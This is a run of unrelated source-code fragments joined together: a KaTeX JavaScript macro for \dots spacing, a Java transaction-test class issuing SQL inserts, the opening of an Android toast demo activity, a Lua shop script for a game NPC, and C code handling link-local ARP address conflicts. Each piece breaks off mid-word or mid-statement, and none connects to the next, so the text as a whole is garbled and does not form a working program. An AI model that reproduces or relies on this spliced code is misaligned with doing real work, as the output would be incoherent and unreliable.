  '\\DOTSI': '\\dotsi',
  '\\int': '\\dotsi',
  '\\oint': '\\dotsi',
  '\\iint': '\\dotsi',
  '\\iiint': '\\dotsi',
  '\\iiiint': '\\dotsi',
  '\\idotsint': '\\dotsi',
  // Symbols whose definition starts with \DOTSX:
  '\\DOTSX': '\\dotsx'
};
defineMacro("\\dots", function (context) {
  // TODO: If used in text mode, should expand to \textellipsis.
  // However, in KaTeX, \textellipsis and \ldots behave the same
  // (in text mode), and it's unlikely we'd see any of the math commands
  // that affect the behavior of \dots when in text mode.  So fine for now
  // (until we support \ifmmode ... \else ... \fi).
  var thedots = '\\dotso';
  var next = context.expandAfterFuture().text;

  if (next in dotsByToken) {
    thedots = dotsByToken[next];
  } else if (next.substr(0, 4) === '\\not') {
    thedots = '\\dotsb';
  } else if (next in src_symbols.math) {
    if (utils.contains(['bin', 'rel'], src_symbols.math[next].group)) {
      thedots = '\\dotsb';
    }
  }

  return thedots;
});
var spaceAfterDots = {
  // \rightdelim@ checks for the following:
  ')': true,
  ']': true,
  '\\rbrack': true,
  '\\}': true,
  '\\rbrace': true,
  '\\rangle': true,
  '\\rceil': true,
  '\\rfloor': true,
  '\\rgroup': true,
  '\\rmoustache': true,
  '\\right': true,
  '\\bigr': true,
  '\\biggr': true,
  '\\Bigr': true,
  '\\Biggr': true,
  // \extra@ also tests for the following:
  '$': true,
  // \extrap@ checks for the following:
  ';': true,
  '.': true,
  ',': true
};
defineMacro("\\dotso", function (context) {
  var next = context.future().text;

  if (next in spaceAfterDots) {
    return "\\ldots\\,";
  } else {
    r


til;
import com.frameworkset.orm.transaction.TransactionManager;

public class A1 implements AI {

	/**
	 * 调用方法执行成功,同步方法执行失败
	 */
	public void testNoTXSyn() throws Exception {
		System.out.println("A1.testNoTXSyn():");
		System.out.println("A1.testNoTXSyn() context tx:" + TransactionManager.getTransaction());
		DBUtil db = new DBUtil();
		String id = db.getNextStringPrimaryKey("test");
		db.executeInsert("insert into test(id,name) values('"+id+"','A1.testNoTXSyn()')");

	}

	/**
	 * 事务成功
	 */
	public void testTXNoSyn() throws Exception {

		System.out.println("A1.testTXNoSyn():");
		System.out.println("A1.testTXNoSyn() context tx:" + TransactionManager.getTransaction());
		DBUtil db = new DBUtil();
		String id = db.getNextStringPrimaryKey("test");
		db.executeInsert("insert into test(id,name) values('"+id+"','A1.testTXNoSyn()')");
	}

	/**
	 * 事务执行成功，同步调用的方法事务执行失败，所以整个事务执行失败
	 */
	public void testTXSynFailed() throws Exception {
		System.out.println("A1.testTXSynFailed():");
		System.out.println("A1.testTXSynFailed() context tx:" + TransactionManager.getTransaction());
		DBUtil db = new DBUtil();
		String id = db.getNextStringPrimaryKey("test");
db.executeInsert("insert into test(id,name) values('"+id+"','A1.testTXSynFailed()')");

	}

	public void testTXSynSuccess() throws Exception {
		System.out.println("A1.testTXSynSuccess():");
		System.out.println("A1.testTXSynSuccess() context tx:" + TransactionManager.getTransaction());
		DBUtil db = new DBUtil();
		String id = db.getNextStringPrimaryKey("test");
db.executeInsert("insert into test(id,name) values('"+id+"','A1.testTXSynSuccess()')");

	}

	public void testNoTXNoSyn() throws Exception
	{
		System.out.println("A1.testNoTXNoSyn():");
		System.out.println("A1.testNoTXNoSyn() context tx:" + TransactionManager.getTransaction());
		DBUtil db = new DBUtil();
		String id = db.getNextStringPrimaryKey("test");
db.executeInsert("insert into test(id,name) values('"+id+"','A1.testNoTXNoSyn()')");
	}

	public void testWithSpecialException(int type) throws Exception
	{
		System.out.println("A1.testWithSpecialException():");
		System.out.println("A1.testWithSpecialException() context tx:" + TransactionManager.getTransaction());
		DBUtil db = new DBUtil();
		String id = db.getNextStringPrimaryKey("test");
db.executeInsert("insert into test(id,name) values('"+id+"','A1.testWithSpecialException()')");
	}

}
package xyz.bboylin.demo;

import android.content.Intent;
import android.net.Uri;
import android.os.Build;
import android.provider.Settings;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
import android.view.Gravity;
import android.view.View;
import android.widget.AdapterView;
import android.widget.ArrayAdapter;
import android.widget.ListView;

import xyz.bboylin.universialtoast.UniversalToast;

public class MainActivity extends AppCompatActivity {
    private long lastBackTime = 0;

    public static final String[] ITEMS = {"通用toast", "强调toast", "可点击toast"
            , "通用 + 成功toast", "通用 + 警告toast", "通用 + 错误toast"
            , "强调 + 成功toast", "强调 + 警告toast", "强调 + 错误toast"
            , "可点击 + 成功toast", "可点击 + 警告toast", "可点击 + 错误toast", "支持gif的toast"};
    private static final int REQUEST_PERMISSION_CODE = 123;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_m


    if (RegionOwner ~= tpz.nation.WINDURST) then
        player:showText(npc, ID.text.MAQUMOLPIH_CLOSED_DIALOG)
    else
        player:showText(npc, ID.text.MAQUMOLPIH_OPEN_DIALOG)

        local stock =
        {
            631,    36,  -- Horo Flour
            629,    44,  -- Millioncorn
            4415,  114,  -- Roasted Corn
            4505,   92,  -- Sunflower Seeds
            841,    36   -- Yagudo Feather
        }
        tpz.shop.general(player, stock, WINDURST)

    end

end

function onEventUpdate(player, csid, option)
end

function onEventFinish(player, csid, option)
end


te(NETLOOP_SUCCESS);
			return;
		}
		break;
	case DEFEND:
		/* We won!  No ARP replies, so just go back to monitor */
		state = MONITOR;
		timeout_ms = -1;
		conflicts = 0;
		break;
	default:
		/* Invalid, should never happen.  Restart the whole protocol */
		state = PROBE;
		ip = pick();
		timeout_ms = 0;
		nprobes = 0;
		nclaims = 0;
		break;
	}
	configure_wait();
}

void link_local_receive_arp(struct arp_hdr *arp, int len)
{
	int source_ip_conflict;
	int target_ip_conflict;
	IPaddr_t null_ip = 0;

	if (state == DISABLED)
		return;

	/* We need to adjust the timeout in case we didn't receive a
	   conflicting packet. */
	if (timeout_ms > 0) {
		unsigned diff = deadline_ms - MONOTONIC_MS();
		if ((int)(diff) < 0) {
			/* Current time is greater than the expected timeout
			   time. This should never happen */
			debug_cond(DEBUG_LL_STATE,
				"missed an expected timeout\n");
			timeout_ms = 0;
		} else {
			debug_cond(DEBUG_INT_STATE, "adjusting timeout\n");
			timeout_ms = diff | 1; /* never 0 */
		}
	}
#if 0
 /* XXX Don't bother with ethernet link just yet */
	if ((fds[0].revents & POLLIN) == 0) {
		if (fds[0].revents & POLLERR) {
			/*
			 * FIXME: links routinely go down;
			 */
			bb_error_msg("iface %s is down", eth_get_name());
			if (ready) {
				run(argv, "deconfig", &ip);
			}
			return EXIT_FAILURE;
		}
		continue;
	}
#endif

	debug_cond(DEBUG_INT_STATE, "%s recv arp type=%d, op=%d,\n",
		eth_get_name(), ntohs(arp->ar_pro),
		ntohs(arp->ar_op));
	debug_cond(DEBUG_INT_STATE, "\tsource=%pM %pI4\n",
		&arp->ar_sha,
		&arp->ar_spa);
	debug_cond(DEBUG_INT_STATE, "\ttarget=%pM %pI4\n",
		&arp->ar_tha,
		&arp->ar_tpa);

	if (arp->ar_op != htons(ARPOP_REQUEST)
	 && arp->ar_op != htons(ARPOP_REPLY)
	) {
		configure_wait();
		return;
	}

	source_ip_conflict = 0;
	target_ip_conflict = 0;

	if (memcmp(&arp->ar_spa, &ip, ARP_PLEN) == 0
	 && memcmp(&arp->ar_sha, NetOurEther, ARP_HLEN) != 0
	) {
		source_ip_conflict = 1;
	}

	/*
	 * According to RFC 3927, section 2.2.1:
	 * Check if packet is an ARP probe by checking for a null source IP
	 * then check that target IP is equal to ours and source hw addr
	 * is not equal to ours. This condition should cause a conflict only
	 * during probe.
	 */
	if (arp->ar_op == htons(ARPOP_REQUEST) &&
	    memcmp(&arp->ar_spa, &null_ip, ARP_PLEN) == 0 &&
	    memcmp(&arp->ar_tpa, &ip, ARP_PLEN) == 0 &&
	    memcmp(&arp->ar_sha, NetOurEther, ARP_HLEN) != 0) {
		target_ip_conflict = 1;
	}

	debug_cond(DEBUG_NET_PKT,
		"state = %d, source ip conflict = %d, target ip conflict = "
		"%d\n", state, source_ip_conflict, target_ip_conflict);
	switch (state) {
	case PROBE:
	case ANNOUNCE:
		/* When probing or announcing, check for source IP conflicts
		   and other hosts doing ARP probes (target IP conflicts). */
		if (source_ip_conflict || target_ip_conflict) {
			conflicts++;
			state = PROBE;
			if (conflicts >= MAX_CONFLICTS) {
				debug("%s ratelimit\n", eth_get_name());
				timeout_ms = RATE_LIMIT_INTERVAL * 1000;
				state = RATE_LIMIT_PROBE;
			}

			/* restart the whole protocol */
			ip = pick();
			timeout_ms = 0;
			nprobes = 0;
			nclaims = 0;
		}
		break;
	case MONITOR:
		/* If a conflict, we try to defend with a single ARP probe */
		if (source_ip_conflict) {
			debug("monitor conflict -- defending\n");
			state = DEFEND;
			timeout_ms = DEFEND_INTERVAL * 1000;
			arp_raw_request(ip, NetOurEther, ip);
		}
		break;
	case DEFEND:
		/* Well, we tried.  Start over (on conflict) */
		if (source_ip_conflict) {
			state = PROBE;
			debug("defend conflict -- starting over\n");
			ready = 0;
			NetOurIP = 0;

			/* restart the whole protocol */
			ip = pick();
			timeout_ms = 0;
			nprobes = 0;
			nclaims = 0;
		}
		break;
	default:
		/* Invalid, should never happen.  Restart the whole protocol */
		debug("invalid state -- starting over\n");
		state = PROBE;
		ip = pick();
		timeout_ms = 0;
		nprobes = 0;
		nclaims = 0;
		break;
	}
	configure_wait();
}